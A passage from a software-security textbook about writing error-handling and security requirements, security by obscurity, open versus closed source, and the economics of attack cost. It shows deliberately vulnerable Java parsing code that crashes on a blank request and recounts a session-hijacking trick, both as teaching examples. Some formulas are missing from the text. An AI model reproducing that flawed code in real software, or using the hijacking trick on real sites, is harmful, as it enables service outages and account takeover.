you are relying on the talent of your architects, designers, and programmers to (1) identify and
handle the error, and (2) do something reasonable to handle it. If you have talented program-
mers (or outsource to them), you may be especially used to underspecifying how errors
should be handled.

Consider the SimpleWebServer example. It is possible that a manager could have told a
programmer to simply “implement a web server” without any requirements document written.
Perhaps the manager simply handed the programmer the HTTP specification (Berners-Lee,
Fielding, and Nielsen 1996). While the HTTP specification discusses how well-behaved web
clients and servers are supposed to interact, there are many cases that it may not cover. For
instance, what happens if a client connects to SimpleWebServer, and sends a carriage return
as its first message instead of sending a properly formatted GET message? SimpleWebServer
would crash! To see why, let’s trace through the following code from the processRequest()
method: 
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55 /* Read the HTTP request from the client. */
56                   String request = br.readLine(); 
57
58 String command = null;
59 String pathname = null;
60
61 /* Parse the HTTP request. */
62 StringTokenizer st =
63 new StringTokenizer (request, " ");
64
65 command = st.nextToken();
66 pathname = st.nextToken();

Line 56 would read one line of input. Line 63 would then attempt to break up that line of
input into multiple tokens. Line 65 would attempt to access the first token. However, since the
line that the client sent is blank, there are no tokens at all! Line 65 would result in an exception
in Java. 

An exception is what occurs when the programmer has not handled a particular error
case. This exception would result in control being returned to the run() method that called
processRequest(). However, the exception is not handled in run() either, and control would
be returned to main(). Unfortunately, main() does not handle the exception either. The way
that Java handles unhandled exceptions that occur in main() is to terminate the application.
What this means for SimpleWebServer is that if a client connects to it and sends a carriage
return as its first message, the server will crash! An attacker can deduce this vulnerability in
the web server by either studying the code of SimpleWebServer or reverse-engineering the
application. Once the attacker deduces the existence of the vulnerability, the attacker could
then simply cause a DoS attack in which the server can be shut down simply by sending a car-
riage return to it. Service to all legitimate clients would thereafter be denied. 

You might argue that the server simply has a bug in it. You would be right. The crucial
point here is that the server has a bug that can result in a security vulnerability.

How would better requirements have potentially eliminated this problem? Requirements
could have been written for the SimpleWebServer program that specify how it should behave
in corner cases. For example, such a requirement might read as follows: 

The web server should immediately disconnect from any web client that sends a 
malformed HTTP request to the server.

Upon reading such a requirement, the hope is that a good programmer would take more
care to check for malformed HTTP requests. While there are an infinite number of malformed
HTTP requests that a client could issue, usage of exception handling in Java can help catch
many of them. Following is a snippet of code to replace the preceding one that checks for mal-
formed HTTP requests and notifies the client if the request is malformed: 

/* Read the HTTP request from the client. */ 
String request = br.readLine();
String command = null;
String pathname = null;
try {
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/* Parse the HTTP request. */
StringTokenizer st =

new StringTokenizer (request, " "); 
command = st.nextToken();
pathname = st.nextToken(); 

} catch (Exception e) { 
osw.write ("HTTP/1.0 400 Bad Request\n\n"); 
osw.close();
return;

}

In the preceding code, note that the calls to the StringTokenizer are enclosed in a
try...catch block. Should anything go wrong during the parsing of the HTTP request, the
catch handler will be invoked, the client will be notified that the request was bad, and the
connection to the client will be closed.

2.5.2. Sharing Requirements with Quality Assurance (QA)
If a company uses a well-designed software development process, the requirements should be
provided to at least two sets of people: (1) the designers and implementers of the software and
(2) the testers that make up the quality assurance (QA) team. The designers and implementers
produce code, and the testers generate test plans based on the requirements. One might
imagine that given the preceding requirement, a tester might generate a test case for a mal-
formed HTTP request. A client simply sending a carriage return as an HTTP request is one type
of a malformed HTTP request. There are, of course, many other types of malformed HTTP
requests that could be generated. (For examples, see the “Crafting Malicious Input” chapter in
Exploiting Software: How to Break Code, by Greg Hoglund and Gary McGraw.) If a test plan for
SimpleWebServer covered malformed HTTP headers, then the hope is that the vulnerability
would get caught during testing. However, without proper requirements, it may be hard to
generate a good test plan, and hence hard to prevent software security vulnerabilities. 

When test plans are generated, there should not only be test cases that test the functional
correctness of the software, but there should also be test cases generated for security. A func-
tional test case tests that a software feature functions correctly when provided proper input.
On the other hand, a security test case tests that a software feature does not malfunction when
provided improper or malicious input. Some companies hire both functional QA and security
QA engineers, who are responsible for generating different types of test cases. 

Even with a good test plan, there may be an infinite number of HTTP requests with mal-
formed headers that one can construct, and it is not sufficient to rely only on cases in a test
plan—the code that processes HTTP headers should be manually inspected for security holes
in addition to correctness and performance during code review.

While such a vulnerability in the web server seems overly simplistic, similar types of vul-
nerabilities do occur in real-world software. A vulnerability in which sending a packet of data
may cause a server to crash or shut down unexpectedly is called a ping-of-death or packet-of-
death attack. For instance, Nokia developed a wireless gateway router called a GGSN that was
susceptible to such a vulnerability (Whitehouse, Grand, and Hassick 2003). The Nokia GGSN is
a specialized router that accepts data packets that are sent to it from wireless phones over a
generalized packet radio service (GPRS) network, and forwards those packets on to the Inter-
net. Unfortunately, due to a software bug in IP packet processing code in the gateway, if a
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single wireless phone user sent an IP data packet with a TCP Option field set to the value 0xFF,
the GGSN would shut down and wireless data service would become unavailable to all users
of that GGSN. 

2.5.3. Handling Internal Errors Securely
Sometimes programmers do not know how to handle an error, or may not be able to think of
any reasonable action to take when an error occurs, so they simply output Internal Error or
abort/exit the application. 

In the case of the Nokia GGSN, an unhandled error caused the operating system kernel to
“panic” and shut down. While the unhandled error resulted in a serious vulnerability in itself
in the case of the Nokia GGSN, sometimes internal errors are used as a stepping stone to con-
struct more sophisticated attacks. 

One of the first steps that attackers can take in breaking into an application is to try to
think of some corner cases that the application probably has not handled, and force it into a
state that the programmer who wrote the application did not expect. 

For instance, we have run across such types of errors in web applications. One particular
web application that we have worked with in the past would assign each of its clients a
session-id when the client would first connect to the web server. The session-id was simply a
number that allowed the server to keep track of the sequence of actions made by that client. 

Think of the typical client as one that might be browsing through a product catalog, occa-
sionally adding a product to an online shopping cart. The web server would send a session-id
to the client when the client first connected, and it would expect the client to send back that
session-id on each subsequent request to the web server to allow it to track all the items that
the client added to his shopping cart.6

In this particular case, the web application had a vulnerability due to an internal error. If
the client did not send back its session-id, the web application would not know what to do,
and would output a web page displaying “Internal Error” to the client. When we were playing
with the web application, we had tried not sending the session-id back to the server, and
noticed the “Internal Error” response. This was a tip-off that the web application programmer
had not handled an important error condition. After receiving the “Internal Error” message,
we hit the browser’s reload button, and, to our surprise, we were able to continue using the
application. To our further surprise, we found that the items in our shopping cart were not the
ones that we had selected prior to not sending our session-id. 

It turned out that the way that the application “handled” the internal error of not being
sent a session-id was to assign the client the session-id of the user that was last logged in. All
that we had to do was wait for the administrator to log in and then submit a request with a
missing session-id in order to get the administrator’s session-id and all of the privileges that
come with it. Of course, we did not quite know when the administrator would log in next, but
we just waited and tried not sending back a session-id every now and then. Eventually, the
administrator logged in, and we were able to “hijack” the administrator’s session. All that we
did was change the administrator’s password to “cracked” and e-mailed him to let him know
that he had an exploitable vulnerability in his system. 
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The web application should have handled the missing session-id condition through the
creation of a new, unique session-id, and the requested operation should have been conducted
on the new session-id. If the operation requested was, for instance, to add a product to a
shopping cart, the creation of a new session-id would map to creating an empty shopping
cart, and the requested product would be added to that empty shopping cart. 

Please note that if you ever find a vulnerability such as this, you should not make changes
like changing the administrator’s password! In our example, the administrator was a close
friend of ours, and had explicitly contracted us to help him “ethically hack,” or find vulnerabil-
ities, in his web application. If you believe you have found a potential security vulnerability in
a web site or a product, you should contact the company that runs the web site or makes the
product, and just let the company know your findings. Do not attempt to exploit the vulnera-
bility, even just as a test.

“Ethical” hackers are often hired by companies to help them find vulnerabilities in their
software before real hackers do. Often, systems that are ethically hacked are production sys-
tems that are also used by real users, and could affect the company’s operations in unforeseen
ways. As a result, when a company decides to contract ethical hackers, there are usually a
number of constraints specified in the contract about what they are and are not allowed to do.
Ethical hackers are sometimes also called “tiger teams” or “crackers.” (These terms originate
from US military jargon.) 

Internal errors that are not properly handled can be extremely dangerous. To whatever
extent possible, internal errors should be handled gracefully, and applications should not pro-
vide feedback to attackers in program output that exhibits the existence of internal errors. 

2.5.4. Including Validation and Fraud Checks
Requirements can also specify which error cases and threats should be dealt with and which
should not. For instance, it may make sense for a small-time, web-based e-commerce vendor
(that, say, collects under $1,000 in transactions per year) to be required to check a simple
MOD 10 checksum on credit card numbers to test their validity, and to ask customers for the
card verification code (CVC) on their card, but it may not make sense for the vendor to run a
credit check on each of its customers in an attempt to detect identity theft. Doing so might be
considered too intrusive and too costly. 

A MOD 10 checksum can be used to check for simple error cases in which a customer
mistypes her credit card number into a web site. Credit card numbers are typically long
(between 13 and 16 digits), and customers frequently mistype them. 

Every valid credit card number issued by a credit card company like Mastercard or Visa
satisfies a MOD 10 checksum. The checksum is computed as follows for a 16-digit credit card
number: for each digit, if the digit is in an odd position (starting from the left of the number as
the first digit), multiply the digit by 2, and write out the result. If the digit is in an even posi-
tion, simply write it out. Sum up all the digits you wrote out. If the credit card number is valid,
the sum should be a multiple of 10. If not, the credit card number is incorrect. 

For example, the credit card number 4111 1111 1111 111 satisfies the MOD 10 check. To
compute the MOD 10 check, you first double every other digit, and write out 8121 2121 2121
2121. You then sum these digits to obtain the result 30. Since 30 is a multiple of 10, the credit
card number satisfies the MOD 10 check. 

A MOD 10 checksum can be easily implemented by a small-time e-commerce vendor,
and helps that vendor validate the number prior to sending it to their credit card payment
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gateway. The check is easy to do, costs nothing, and will spare the credit card payment gate-
way from receiving unnecessary, invalid card numbers. Usually, a MOD 10 check will fail
because a legitimate customer mistyped a credit card number. However, it is possible for an
attacker to generate fake credit card numbers that satisfy the MOD 10 checksum. 

While the MOD 10 checksum can help you check for a common error case, asking cus-
tomers to enter a CVC can help mitigate a more real security threat—that of credit card fraud.
Fraudsters often are able to acquire stolen credit card numbers, but sometimes do not have
the CVC that corresponds to the stolen card number. The CVC is a set of three or four addi-
tional digits, either on the back or front of a credit card. When the e-commerce merchant
sends the request to the credit card payment gateway, it can include the CVC as part of the
request to the gateway. If the CVC does not correspond to the CVC stored in the credit card
company database, the transaction is not approved. Hence, the CVC can serve as a security or
fraud check, whereas MOD 10 is an error check. 

An e-commerce vendor might specify that MOD 10 error checks and CVC security checks
should be completed as part of a credit card transaction. A requirements document that speci-
fies these checks might read as follows: 

1. Web page forms that accept credit card numbers must compute a client-side MOD 10 
checksum prior to submitting the form to the web server. If the MOD 10 check fails, 
the user must be asked to retype the credit card number, and try submitting the 
form again. (This check will prevent the server from having to process mistyped 
credit card numbers from legitimate users.)

2. Once the form is submitted to the server, the server must also compute the MOD 10 
checksum prior to submitting the credit card number to the payment gateway. 

3. Web page forms that accept credit card numbers must also require the user to 
enter a CVC. The web page should also display a link to an information page about
what a CVC is and how the user should locate the code on a credit card. 

4. Once the form is submitted to the server, the server must include the CVC in the 
payment authorization request that is sent to the payment gateway. (This will help 
the payment gateway processor detect fraudulent credit card transactions and lower 
the rate of chargebacks.) 

5. The server must not store the credit card number or CVC on any form of persistent 
storage (e.g., disk) unless its confidentiality can be assured. If credit card 
numbers or CVCs are encrypted on persistent storage to ensure confidentiality, the 
encryption keys must not be present on the same persistent storage device.

Note that we have described why certain requirements exist in parenthesis. Including the
motivation behind requirements is useful because it will help project team members remem-
ber why a particular requirement was important at a later point in the project. It will also help
designers, implementers, and testers who read the requirements document gain a deeper
understanding of what the intent of the requirements are, instead of just the current day
requirements themselves. Sometimes, if the motivation behind a particular requirement is
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long and involved, it can be separated out into another document, and the requirements doc-
ument can simply refer to other documents describing motivation as necessary. 

2.5.5. Writing Measurable Security Requirements
We will now examine a couple examples of some concrete measurable security requirements
and security goals that could be added when designing a system. 

An example of an access control security requirement might be that only certain users
should be able to do X, where X is some sensitive or critical operation. In our previous exam-
ple of Windows 98, only the administrators should be able to access the diagnostic mode. The
diagnostic mode may allow the entire contents of the hard disk to be viewed, and perhaps the
system administrator is the only user that should be trusted with that level of access. (Some
might argue that even the system administrator should not be allowed that level of access, but
that is one limitation of current Windows as well as other commonly used operating systems.)
If there was an up-front requirement in the Windows 98 specification, the particular F8 func-
tionality that we discussed may have been implemented differently. 

Yet another example of a security requirement that could be added is an auditing require-
ment: a log or journal entry should be written every time that a user conducts a sensitive
action. Due to recent Sarbanes-Oxley (SOX) government regulations, auditing requirements
have become increasingly important in systems that deal with public companies’ financials.
SOX regulations were passed in 2002 in light of Enron and other corporate scandals. While
SOX regulations generally specify that certain types of controls should be in place, a software
requirements document should interpret what it means for a particular software system to
comply with those regulations. 

A third type of requirement is a confidentiality requirement (e.g., information output by
a particular feature should always be encrypted). And lastly, an example of an availability
requirement might be that feature Z should execute within Y milliseconds 99.99 percent of the
time. For example, the FCC (Federal Communications Commission) requires that when people
pick up their phones they hear a dial tone within several hundred milliseconds. The FCC
requires this partially as a performance issue, and also as a security requirement as well. 

It is important to include security requirements in requirements documents, and design
security into software from two angles. First, every line of code that is eventually written based
on requirements and design documents should be security conscious. We will provide many
examples of how code can be security conscious in this book. In many cases, code is depend-
ent upon assumptions about input that it accepts and how its output is to be used, as well as
expectations about the computations it conducts. The second angle is that, in addition to each
line of code being explicitly security conscious, certain explicit security features should be
implemented depending upon the functional requirements of the software. In addition,
design documents should contain some specification of how the goals in the requirements
are achieved.

2.5.6. Security or Bust
Designing security into a product can be just as (or more) important as other features in a
product. If a company (especially one with an established brand) attempts to launch a new
product and does not take the time to design for security, it may be able to launch the product
faster, but at a higher risk that the product will be “hacked.” If a security compromise does
occur, the company may lose revenue, its brand may be tarnished, and customer confidence
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could suffer. It is possible that any advantage that was gained by launching earlier may be lost
due to compromise. Software companies such as Microsoft have started to embrace such secu-
rity trade-offs. In 2002, Microsoft, for the first time, delayed the deployment of a product, its
.NET server, due to the incompleteness of its security (Wilcox 2002). Microsoft had defined
security requirements for the .NET server as part of its product specification, and since those
requirements were not satisfied by the appropriate “code freeze” date, the product was not
shipped. Over time, it will become more and more important for other software companies
to also embrace a “security or bust” kind of mentality, in which security is considered just as
important as performance and correctness—and software will not be shipped unless its secu-
rity features are complete and tested. 

2.6. Security by Obscurity
Now that we have discussed adding security requirements to requirements documents, and
how to design in security, let’s discuss some of the “gotchas” in implementing mechanisms
that actually enforce these security requirements. One problem is that many organizations
practice security through obscurity—that is, what they attempt to do is keep their information
systems and products secure by keeping the security mechanisms confidential. For example, a
company may not publicly disclose how their products work (even to their customers). They
reason that if information about how their products work was to fall into the hands of a bad
guy, this bad guy might use that information to construct an attack. 

The military also practices security by obscurity, and will only disseminate information
about how their systems work to certain people on a need-to-know basis. In both cases, these
organizations are trying to keep information secure by hiding it from others. Security by obscu-
rity, in itself, is not a bad idea—it does increase the amount of effort an adversary has to go
though in order to attack a system. However, while security by obscurity may be necessary in
some scenarios, it is certainly not sufficient to prevent a determined attacker.

2.6.1. Flaws in the Approach
While it is possible to achieve some level of security by hiding information through obscurity,
it may not always make sense to assume that the attacker does not know how the system
works. For example, one might assume that an attacker is not able to understand how a partic-
ular software program works because it is deployed as an executable binary file. Binary files
are hard for average humans to understand and read. However, an attacker can use debugging
and other types of tools to disassemble, decompile, and even reverse engineer the executable. 

The attacker could also derive information about how the program works simply by
observing its behavior under normal conditions and comparing that to its behavior when pro-
vided input that it does not expect. The technique of providing a program input that it does
not expect is often referred to as fault injection. Often, the goal of the attacker is to find an
input (or attack string) that exploits a vulnerability. The attacker’s process of systematically
trying various input strings that may result in an exploit is called fuzzing. For instance, the
attacker can provide inputs that are too long for the program’s internal input buffers. Various
types of fault injection can also bring out other vulnerabilities in software. Greg Hoglund and
Gary McGraw, in their book Exploiting Software: How to Break Code, provide an overview of
fault injection and other techniques that can be used to break code.
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In addition to technical approaches to determine how programs work, an attacker might
also be able to blackmail or “buy off” insiders. An insider is an individual who works for the
organization that builds the software, such as a software developer within a company. If the
organization does not pay its software developers very well, you can imagine that it may not
take much money to convince them to sell the secrets of how their organization’s software
works. Alternatively, if the software developer happens to have some skeletons in his closet,
the attacker may be able to threaten the secrets off of him. Through a combination of techni-
cal and nontechnical approaches, such as fault injection and blackmail, respectively, a
determined attacker will eventually be able gather enough information to reverse engineer
a product. 

For all the reasons just given, it does not necessarily always make sense to assume that
one can keep products and information systems secure simply by keeping information about
how those systems work hidden. 

If you want your systems to be more secure, you may want to assume that the attacker
knows exactly how the target system works. We suggest that you avoid solely practicing secu-
rity by obscurity if better options exist. What you will discover in Chapters 12 and 13 is that it
is possible to design a secure system in which the design can be completely known to the
public—even to the attackers. In such a system, its security does not depend upon hiding the
design details or the code from the attackers, but instead it depends on keeping certain keys
secret. 

SECRET KEYS

Keys are relatively short sequences of bits (such as 128, 1024, or 2048 bits). The size of the key depends
upon the type of encryption or other algorithm used. It is usually easier to keep a few such keys secret than
to try to keep the details of the design and the source code of the entire system secret. If the attacker ever
does find out the key, it can be easily changed, and does not require the system to be redesigned. By reduc-
ing the amount of information kept secret, a software product can be secure even if the design and the code
are completely available to an attacker.

2.6.2. SimpleWebServer Obscurity
Consider an example in which you might want to sell SimpleWebServer. SimpleWebServer is
written in Java, which is both a compiled and an interpreted language. Java code is compiled
into Java bytecode, a high-level object-oriented assembly language. The Java bytecode is then
interpreted by a Java bytecode interpreter. (The Java bytecode interpreter is typically part of a
Java runtime environment.)

In most cases, companies that sell software typically do not provide the source code to
their customers. In our case, one option to distribute SimpleWebServer might be to distribute
the Java bytecode to customers. This would allow customers with a Java runtime environment
installed to run the web server without requiring them to have a Java compiler. However, even
though Java bytecode may not be easy for humans to read, it is very easy to disassemble and
reverse engineer. In fact, any one of your customers, malicious or not, could download a Java
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development kit in which a Java bytecode disassembler is provided. Following is a snippet of
code from the processRequest() method that one could find by disassembling SimpleWeb-
Server: 

public void processRequest(java.net.Socket);
throws java/lang/Exception
Code:
0: new 25; //class BufferedReader
3: dup 
4: new 26; //class InputStreamReader
7: dup 
8: aload_1 
9: invokevirtual 27; 
12: invokespecial 28; 
15: invokespecial 29; 
18: astore_2 
19: new 30; //class OutputStreamWriter 
22: dup 
23: aload_1 
24: invokevirtual 31; 
27: invokespecial 32; 
30: astore_3 
31: aload_2 
32: invokevirtual 33; 
35: astore 4 
37: aconst_null 
38: astore 5 
40: aconst_null 
41: astore 6 
43: new 34; //class StringTokenizer 
46: dup 
47: aload 4 
49: ldc 35; //String 
51: invokespecial 36; 
54: astore 7 
56: aload 7 
58: invokevirtual 37; 
61: astore 5 
63: aload 7 
65: invokevirtual 37; 
68: astore 6 
70: aload 5 
72: ldc 38; //String GET 
74: invokevirtual 39; 
77: ifeq 90 
80: aload_0 
81: aload_3 
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82: aload 6 
84: invokevirtual 40; 
87: goto 96 
90: aload_3 
91: ldc 41; 
93: invokevirtual 42; 
96: goto 101 
99: astore 8 
101: aload_3 
102: invokevirtual 44; 
105: return

Even a naive attacker would be able to read this code and determine that it has the DoS
vulnerability that we mentioned previously. In particular, the instructions from offsets 43 to 65
are responsible for “tokenizing” the HTTP request received from the client. The instruction at
offset 43 creates the StringTokenizer, and the instruction at offset 51 uses the invokespecial
command to call its constructor. Instructions at offsets 58 and 65 use the invokevirtual com-
mand to call the nextToken() method (all methods in Java are “virtual” by default). From the
preceding disassembled code, it is clear that there is no code to handle the case in which the
HTTP request has less than two tokens. As a result, an attacker may reason that if she sends an
empty line of input that has less than two tokens (or no tokens at all), then she may be able to
cause SimpleWebServer to crash. 

If the Java bytecode is available to the attacker, she may not even need to have to read the
preceding disassembled code. Java decompilers, such as Mocha (www.brouhaha.com/~eric/
software/mocha) and Jad (www.kpdus.com/jad.html), can produce reasonable-looking source
code from the decompiled code. 

One might think that if an application is written in C, C++, or another purely compiled
language, then it may not be possible to disassemble the application as shown previously; or,
if it were possible, the assembly instructions might be hard to follow. But that is simply not
true. Tools such as the IDA Pro Disassember and Debugger (www.datarescue.com/idabase/
index.htm), among others, can make diving into disassembled code quite feasible and fun.

KEYS GO BACK TO KERCKHOFF

The idea of assuming that the attacker might know exactly how the system functions and that the security of
the system should be instead dependent upon a key dates back to 1883, with a scientist named Auguste
Kerckhoff. In Chapters 12 and 13, we discuss various algorithms whose details are completely public, yet
their security depends upon a key. For now, keep in mind that hiding the details of how a system works does
not necessarily provide an acceptable level of security. In fact, if one designs a system that is supposedly
secure and does not have that design reviewed by a third party, then it is likely that the system will contain
security holes that the original designer didn’t think of but may be obvious to others.

The final issue to consider about security through obscurity is that if a system’s security is
dependent upon a key and that key becomes compromised, you can always just change that
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key without having to redesign that system in order to achieve security. If you keep your sys-
tem secure by hiding the details of its entire design, if that design is discovered, you would
have to re-architect or redesign the system to secure it, which would take significantly more
effort than just changing a key.

2.6.3. Things to Avoid
This subsection describes some no-nos that programmers sometimes fall prey to, giving rise
to security by obscurity. 

Don’t “Roll Your Own” Cryptography
There are a number of rules of thumb one can infer from the basic idea that security by
obscurity may not be sufficient for some systems. For instance, system designers should
not attempt to invent their own algorithms for encryption to ensure the confidentiality of
information. Such designers may believe that because they are designing their own algo-
rithms, it will be too difficult for adversaries to reverse engineer them. However, designing
encryption algorithms is a challenging business that should be left to cryptographers.

Cryptographers are mathematicians who spend their living studying how to encode and
decode information. They are trained in number theory and other aspects of mathematics,
and they spend their careers developing new encryption algorithms and attempting to break
the algorithms of others. Countless programmers have attempted to invent their own encryp-
tion algorithms that they hoped would be secure simply because they didn’t tell anyone else
how they work. 

This is not to say that you should be discouraged from learning about code making and
code breaking—quite the contrary. We encourage you to learn as much about cryptography as
you can. If you have some ideas on how to design novel encryption algorithms, we encourage
you to do so, as long as you share your designs with the cryptographic community and engage
in an effort in which many smart people attempt to break new designs prior to using them in
any real, critical system. 

Good cryptographers will be able to take advantage of modern crypt-analysis techniques
to break the security of most ad hoc encryption schemes. If you decide to create a new
encryption scheme, its security should be dependent upon secret keys, not on the obscurity
(nondisclosure) of how the algorithm works.

In addition, when you decide to use cryptographic algorithms in your code, you should
reuse already implemented cryptographic libraries instead of writing your own. Just as is the
case with the reuse of any other type of code, once someone has successfully implemented
and tested some piece of functionality, it is best to reuse it instead of reimplementing it and
having to go through the process of testing, discovering bugs, and fixing them all over again.
Furthermore, cryptographic algorithms are sometimes harder to implement correctly than
typical data structures, due to the intricacies of their mathematics. 

Don’t Hard-Code Keys
Secret keys used in cryptographic algorithms should not be placed in software source code.
Source code gets compiled into binary files, and the secret keys could easily be extracted out
of the binary files.
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One of the reasons that attackers can easily steal keys if they are compiled into binaries
is because good keys are random sequences of bits. In a binary file that’s generated from com-
piled source code, the machine instructions typically have very predictable patterns. If a
hacker is looking at a binary file and sees some sections that have repeatable or predictable
patterns, and there are other sections that look more random than the rest of the file, he may
deduce that those random sections contain secret keys. For more information about how
such types of attacks work, see "Playing Hide and Seek with Stored Keys" (Shamir et al. 1999).
We also comment further on the dangers of storing secrets in source code in Chapter 14.

At the very least, keys should be placed in separate files, and binaries should open those
files to read keys. The files with the keys can be protected using access control mechanisms
made available by the file system, and a binary should be run with the appropriate level of
privileges to access the key file. This way, even if the binary is stolen, it does not necessarily
mean that the keys will be just as easily stolen. In addition, if the keys are ever compromised,
a new key file can be deployed without having to change the binary. 

However, storing keys in separate files has its limitations. The secrecy of the keys then
becomes dependent upon the access control mechanisms provided by the file system. In
many cases, though, protecting key files using file system access control mechanisms may
be better than just storing keys in “hard to reach places.”

For example, some Windows programs attempt to skirt the problem by storing secrets in
the Windows registry. The Windows registry is the part of the Windows operating system that
applications can use to store configuration information. Most users of Windows PCs do not
know how to read the configuration information in the registry, but hackers and attackers will
be able to—simply by typing the command regedit at the Windows prompt. While the Win-
dows registry does have support for ACLs that can be used to protect one user’s registry entries
from another or from the user herself, there is not much that can be done to protect registry
entries from the system administrator (as is also the case with files on disk). 

If information does need to be stored in the Windows registry for security purposes, that
information can be encrypted. Since security by obscurity is suboptimal, you should not have
the security of the system be dependent upon the secrecy of the location of keys (as opposed
to the secrecy of the keys themselves). Chapter 14 provides alternative options for where to
place and how to manage secret keys.

Don’t Forget Code Reuse
In the world of security, cryptographers encourage developers to use only standard encryption
algorithms that have been studied and scrutinized, and have stood the test of time under peer
review. The same argument could be made of software itself. 

For instance, in Section 2.4, we showed how you can implement a basic web server your-
self in just a few lines of code. However, as you’ve seen and will continue to see throughout
the next chapter, SimpleWebServer has many security vulnerabilities. Building a secure, high-
performance web server is not an easy task. Once such a web server has been developed, it
makes sense to reuse it, just as it makes sense to reuse encryption functions that have already
been developed and tested, and have stood the test of time. As such, if you need to choose a
web server to run for your organization, we would encourage you to use one such as Apache
(http://httpd.apache.org), because it has not only been debugged and tested by many peo-
ple, but because many security vulnerabilities have been found and fixed. There may still be
additional vulnerabilities in it, but chances are that it will have many fewer vulnerabilities
than a new web server that you author from scratch!
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2.7. Open vs. Closed Source
Once you realize that security by obscurity has its limitations, you might start looking for
“easier” ways to secure applications. One approach that some companies have attempted to
use to increase the security of their software is to make it open source. That is, they make the
source code of their applications public (or “open”) to everybody on the Internet, on a web site
such as www.sourceforge.net. John Viega and Gary McGraw dedicate Chapter 4 of their book
Building Secure Software: How to Avoid Security Problems the Right Way to a discussion of the
trade-offs between development using open and closed source models; we paraphrase some
of the more salient points here.

Particularly if a company does not have in-house security professionals, it might reason
that it could make its software open source and take advantage of the eyeballs in the open
source community to help find and eliminate security vulnerabilities. Does making software
open source inherently make it more secure? The answer is no. 

The first assumption that the security of an open source application is dependent upon is
that people are actually going to look at the software, and that they are going to look at it for
the right reasons. An open source developer may decide not to look at the code at all if it is not
very understandable, if it is hard to read, or if it is boring in any way. Therefore, even if you put
the code on the Internet, it might not be examined. Second, even if the code is looked at, one
has to understand why the open source software developer is looking at the code to begin
with. The open source developer may be looking at the code because she is interested in mod-
ifying a certain part of the application. The open source developer might be interested in
modifying the user interface to make a specialized version of that application available to her
customers, and that part of the code may have nothing to do with the parts of the code that
have security vulnerabilities. Therefore, security may or may not be on the agenda of the open
source developer, depending on her interests.

It is possible, on the other hand, that the open source developer may be interested in
security vulnerabilities, and may then be able to find them. However, it is unclear whether she
will report that information back to the company that authored the software. The developer
may be malicious, and could keep information about the vulnerability hidden until she
decides to attack deployments of that open source application. Therefore, a company’s deci-
sion to make an application open source does not necessarily make that application more
secure. 

At the same time, keeping a piece of software closed source—or not publishing the source
code on the Internet—does not guarantee security either, for at least two reasons. First, the
software can be reverse engineered and/or prodded for vulnerabilities. You’re not hiding much
by not making the source code available. Second, without security-savvy people doing code
reviews of the applications, many vulnerabilities may still get missed. 

In summary, keeping an application open source or closed source does not necessarily
help or hinder its security. The decision of whether to use an open or closed source model
should be dependent upon a company’s business, not how many resources the company has
internally to audit an application’s security. Choosing to keep an application open or closed
source is merely a business decision—the actual security of the application is dependent upon
other factors.
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2.8. A Game of Economics
Security can be viewed as a game of economics. You can take the view that all systems are
insecure, and instead ask the question of how much it would cost to break the system. In other
words, how much time and/or money does the attacker need to spend to accomplish his
goals? You need to ask yourself: for every dollar that the potential victim spends on security
measures, how many dollars would the attacker have to spend to “break” into the system? You
obviously want to favor using security technologies that require the attacker to spend many
more dollars for each dollar that the potential victim spends. In fact, when we cover applied
cryptography in Chapters 12 and 13, you’ll discover that for each additional bit that you add to
a secret key, the amount of time that the attacker needs to spend attacking the system is mul-
tiplied by a factor of two. By adding more and more bits to a key, you exponentially increase
the amount of time the attacker has to spend to do a “brute-force” attack in which he has to
try every key to find the right one. 

Let us consider an overly simplified corporate security system, in which there are two
ways to break it: (1) a brute-force search through every possible key, and (2) a “payoff,” in
which an employee gives the attacker the key.7 Assume that the length of a key is L bits, and
that P is the dollar amount required to pay off the employee to hand over the key to the
attacker. If you look at security in economic terms, you may want to ask the question: how
long does L have to be so that it is not the “weakest link?” The employee may value her job. But
how much is that job really worth to her? Well, she may plan to work at her company for the
next Y years, earn a yearly salary of S, and be able to earn an interest rate of α. For simplicity in
doing a back-of-the-envelope calculation, we can assume that she is paid in yearly lump
sums, and stores all her earnings in the bank. Thus, her job is worth the following:

That is, she earns Y years of compound interest on her first year of salary, Y – 1 years of
compound interest on her second year of salary, and so on. As an example, if her salary is
$20,000, and she expects to work for her employer for 40 years, then her job is worth about
$5 million, assuming an inflation-adjusted real interest rate of 8 percent per year. This $5 mil-
lion figure does not account for the risk that she might be caught for giving the attacker the
key—she might demand a larger payment to account for that risk. At the same time, if she
were to compare the options of handing over the key versus keeping her job, she would also
have to consider that she would have to pay taxes on her salary, and would not be able to save
up all of it in the bank. In addition, if she were to give the key to the attacker, and did not get
caught, she could also potentially continue to work elsewhere. While there is much that the
$5 million payoff figure does not account for, we use it only as a rough estimate.

Now that you have considered the cost of one attack method—paying off the employee—
you should consider the cost of the other attack method: brute-force searching through keys.
Let us say it costs C cents for our attacker to try one key. To try a key, the attacker needs to use
power and CPU time—so assume that C is the average amortized cost to try a single key. (The
attacker will have to purchase, rent, or steal computers to run the key computations, which
will have some fixed and variable costs that you can average and amortize over the duration of
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the attack.) On average, the attacker needs to try half of the keys before finding the right one.
The cost of doing a brute-force search for the attacker is as follows:

For instance, if it costs 0.000000000034 cents to try a single key, and the key is only L = 64
bits, then the cost of doing a brute-force search is $313,594,649. Even for such a small key,
paying off the employee is the better option for the attacker. 

Given this naively simple model, you can answer questions such as the following: If
the key length for your system is L, how much do you need to pay the employee so that the
cryptography becomes the weakest link? On the other hand, you could also ask how long the
key should be so that the employee becomes the weakest link? The point at which the
employee’s lifetime pay is equal to the cost of brute-forcing the key is the following:

To determine whether the employee or the key is the weaker link, you can solve for S or L.
As such, security can be modeled as a game of economics. In reality, it becomes hard to meas-
ure security quantitatively, but the preceding formulation will at least help you think about the
nature of the security problem. 

RAISING THE BAR

The goal of all security technologies is to “raise the bar”—that is, to significantly increase the cost that the
attacker needs to spend to break the system. If you can increase the cost to break the system such that it is
much higher than any potential reward that could be gained by the attacker, then you may say that the sys-
tem is somewhat "secure" in the sense that it mitigates the risk posed by the attacker.

At the end of the day, security is about risk management. You want to invest enough in
security technologies so that you minimize the risk that the attacker is going to be successful.
You want to minimize this risk to the point that the expected payoff for the attacker is not
going to be enough to warrant the attacker’s effort. Of course, in this model, we are assuming
that attackers are rational economic agents, which may not always be the case.

2.9. “Good Enough” Security
Every security book (including this one) will tell you to design security in from the beginning.
We definitely agree. At the same time, we do not think it is worth it to spend more than some
reasonable fraction of your time thinking about security. The fraction of time that you spend
thinking about security should be proportional to the number and types of threats that your
software and business faces. (The “Risk Management Framework” chapter in Gary McGraw’s
